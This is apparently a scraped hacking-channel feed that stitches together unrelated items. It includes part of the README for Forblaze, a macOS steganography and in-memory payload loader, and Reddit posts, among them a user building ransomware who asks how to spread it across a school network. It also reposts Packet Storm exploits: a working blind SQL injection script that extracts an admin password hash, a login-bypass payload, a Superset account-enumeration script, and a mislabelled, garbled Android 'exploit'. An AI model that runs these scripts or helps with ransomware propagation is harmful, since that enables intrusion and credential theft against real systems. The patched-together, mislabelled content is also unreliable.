find the payload in the stego file (as well as the length of those header and footer bytes to perhaps be more inconspicious). Detection/PreventionSteganography is pretty difficult to detect. If you know where the stego file is, you can begin to extract the suspect bytes after the end of the normal file EOF (so after "FFD9" for jpegs for example). These suspect bytes will still include the actual encrypted payload and nonsense random bytes, which would be hard to distinguish from each other unless you possess the header and trailing bytes specified by Forblaze. You could look through these bytes and look for patterns of repeating bytes, since this is how the header and footer bytes with forblaze tend to work, but a skilled operator could make that more difficult to find than the default. If a payload is caught you could obviously RE the binary and try to locate the stego file, and then try to use the hard-coded key and headers/footers to reverse the URL being called (or other bytes). But that all assumes you found the binary by some other means. TestingThis tool has been tested on various versions of Mac OS, including Big Sur and Catalina (x64 systems). Please let me know if you have problems. Technical Nitty GrittyThe custom encryption is a basic Caesar cipher, where different bytes of the key are used to shift the bytes of your plaintext bytes. This is why larger keys aren't NECESSARILY better for your encryption - it depends on the length of your plaintext. If your plaintext is 50 bytes, and you use a 150 byte key, only the first 50 bytes of your key will be used. If your plaintext is > 150 bytes however, the longer keys would be more secure.

The steganography is quite simple: the bytes of your original innocent file are kept the same, and random bytes (along with your encrypted payload bytes) are appended after these bytes. These random bytes are by default anywhere between 2 and 2000 in length (this should likely be changed to fit your plaintext size -> larger plaintexts should mean more random bytes are generated).

The in-memory execution piece is exactly following https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, with the simple change that instead of reading payload bytes from an on-disk file, they are read over http/https. Later I may add a technique which would allow you to execute Go compiled binaries (there are other sources out there which can also help with this), but for this default version Go compiled binaries will not work. This is because for some strange reason Go compiled machos do not utilize LC_MAIN like most machos do in the load commands of the image (if someone knows why, I am all ears). Contributions/Comments/CriticismsI am very open to receiving comments and to collaboration! Hopefully this helps generate useful discussion around the topic of custom crypto, or provides researchers some new insights. Download Forblaze

___________________________
@hacking_Attack
@Hacking_Video

Testing Cookies worth $500
https://sankalpa02.medium.com/testing-cookies-worth-500-8fc2310e6d7e?source=rss------bug_bounty-5

Hello everybody, I am Sankalpa Acharya from Nepal. A few weeks ago I had found IDOR vulnerability on cookies, which worth $500 to me. SO…Continue reading on Medium » (https://sankalpa02.medium.com/testing-cookies-worth-500-8fc2310e6d7e?source=rss------bug_bounty-5)

hacking: security in practice
How does ransomware spread over a network?

Hi all.

My school recently suffered a ransomware attack, which resulted in them having to completely restart everything from scratch (student's work, records, etc.). This has really interested me, and I'm in the process of building a peice of ransomware myself (purely as an exercise, and obviously it's never to leave my own virtual environment).

So far it works great on a single machine - it encrypts all files in the user folder and locks the user out of the computer until payment is received.

However I'm having trouble working out how I would allow this program to spread across the network. Would the hacker responsible for the attack have to have had physical access to the server in order to encrypt everything?

There's a workaround on my school's system which allows you to elevate your local account to administrator, however this does not make you administrator of the network, just admin of that machine. Would this be of use in this application?

Honestly I really do not know how a network works on a fundamental level, so sorry if I am missing something obvious.

But thanks so much for reading, I look forward to hearing your responses.

​

TLDR: School became victim to a ransomware attack - could've potentially gained admin access to a machine, however its unlikely that they had access to the servers directly. How would this have encrypted all data on the network?

submitted by /u/jackweller
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any Hack the Box vets out there?

I just recently signed up on Hack the box and decided to take on an “easy” machine called Archetype. It’s been about a week now and I’ve gained no ground. The write ups aren’t very well explained and there isn’t much on YouTube that actually helps.(They just type commands and do not explain why they chose that command specifically) I’m looking for a possible mentor/friend that has some extra time in their day to hang out and share your knowledge with a beginner.

submitted by /u/seabashchunn
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Where to start off?

Aight so I have been programming for a quite a while now so I wanted to expand my knowledge; I want to learn hacking. But where to start off? Which programming language has a great scope and resources to learn from?

I would prefer a course online rather than a book but letss see what are my options first.

Thanks everyone

submitted by /u/Soccer_Vader
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Should physical pentesters require a special license?
https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/

You are probably familiar with Iowa courthouse and Coalfire pentesters jailed in September 2019. Should governments require pentesters be licensed, as to avoid these legal gray areas? Many professions and activaties require special licenses already, from private investigator to insurance sales to strippers... fishing and hunting, you need a license to do anything, let alone break laws. I am treating wire and physical pentesters separate; though the case can be made for both. View Poll (https://www.reddit.com/poll/ob1v6h) submitted by /u/Somanypaswords4 (https://www.reddit.com/user/Somanypaswords4)
[link] (https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/) [comments] (https://www.reddit.com/r/Pentesting/comments/ob1v6h/should_physical_pentesters_require_a_special/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
VNC Penetration Testing

In this article, we are discussing Internal Penetration Testing on the VNC server. Through that, we are trying to explain how an attacker can breach security in various scenarios with the installation and configuration, enumeration, and precautions as well. Table of Content Introduction Pre-requisites Lab Setup Port Scanning Bruteforce Port

The post VNC Penetration Testing appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Android 2.0 FreeCIV Arbitrary Code Execution

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
Android version 2.0 exploit for FreeCIV versions 2.2 before 2.2.1 and 2.3 before 2.3.0 that achieves root.

MD5 | 3a7206dc1575a4f0e04e17dc57297340

Download
"""
Android Debug Bridge (ADB) freeciv exploit
Author : Raed-Ahsan
https://linkedin.com/in/raed-ahsan
Android 2.0 Banana Studio
"""

"""
import socket # socket
import subprocess # Subprocess
import pyautogui # PyAutoGui
import time # Time
def connection_function(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(s.recv(1024))

connection_function("10.10.10.247", 2222)
def adb_connection(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(s.recv(1024))

subprocess.call(['ssh -p 2222 -L 5555:localhost:5555 kristi@explorer.htb'], shell=True)
password = "[PASSWORD OF TARGET MACHINE OF SSH]"
print(s.recv(1024))

adb_connection("10.10.10.247", 2222)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
KVM nested_svm_vmrun Double Fetch

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
A KVM guest on AMD can launch a L2 guest without the Intercept VMRUN control bit by exploiting a TOCTOU vulnerability in nested_svm_vmrun. Executing vmrun from the L2 guest, will then trigger a second call to nested_svm_vmrun and corrupt svm->nested.hsave with data copied out of the L2 vmcb. For kernel versions that include the commit "2fcf4876: KVM: nSVM: implement on demand allocation of the nested state" (>=5.10), the guest can free the MSR permission bit in svm->nested.msrpm, while it's still in use and gain unrestricted access to host MSRs.

MD5 | 814987fd3e7902c83f77c7f4aa4a3585

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
phpAbook 0.9i SQL Injection

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
phpAbook version 0.9i suffers from a remote SQL injection vulnerability.

MD5 | ceadee176206060327e5cc0ef90f1775

Download
# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys
def exploit(session,host):
print("Starting Exploit\nSearching Admin Hash...")
passwordhash = ''
for i in range(1,33):
charset = string.digits + string.ascii_lowercase
for letter in charset:
burp0_url = f"{host}/index.php"
burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
try:
session.post(burp0_url, data=burp0_data, timeout=1)
except requests.Timeout:
passwordhash += letter
continue
print("admin:"+passwordhash)
if __name__ == "__main__" :
session = requests.session()
parser = argparse.ArgumentParser()
parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
arg = parser.parse_args()
exploit(session,arg.url)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Doctors Patients Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Doctors Patients Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | fb9af03a5ee38e11615bb8c1c7a35654

Download
# Exploit Title: Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)
# Date: 06/30/2021
# Exploit Author: Murat DEMIRCI (butterflyhunt3r)
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/31349/medisol-doctors-patients-managment-system
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :
http://test.com/PATH/signin

# Username : anything
# Password : ' or '1'='1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache Superset 1.1.0 Account Enumeration

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Apache Superset version 1.1.0 suffers from a time-based account enumeration vulnerability.

MD5 | 79699f800c9b8c66297545ad1eaae6cc

Download
# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu

import sys
import requests
import time

scheme = 'http'
host = '192.168.1.1'
port = 8080

# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']

url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'

session = requests.Session()

def get_csrf():
token = None
r = session.get(url + login_endpoint, verify=False)

for line in r.text.splitlines():
if 'csrf_token' in line:
try:
token = line.strip().split('"')[-2]
except:
pass
return token

csrf_token = get_csrf()

if not csrf_token:
print('Could not obtain CSRF token, the exploit will likely fail.')
sys.exit(1)

data = {
'csrf_token':csrf_token,
'username':'',
'password':'abc'
}

attempts = {}
found = False

for user in usernames:
start = time.time()
data['username'] = user
r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
roundtrip = time.time() - start
attempts["%.4f" % roundtrip] = user

print('[!] Accounts existence probability is sorted from high to low')

count = 0

for key in sorted(attempts, reverse=True):
count += 1
print("%s. %s (timing: %s)" % (count, attempts[key], key))


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video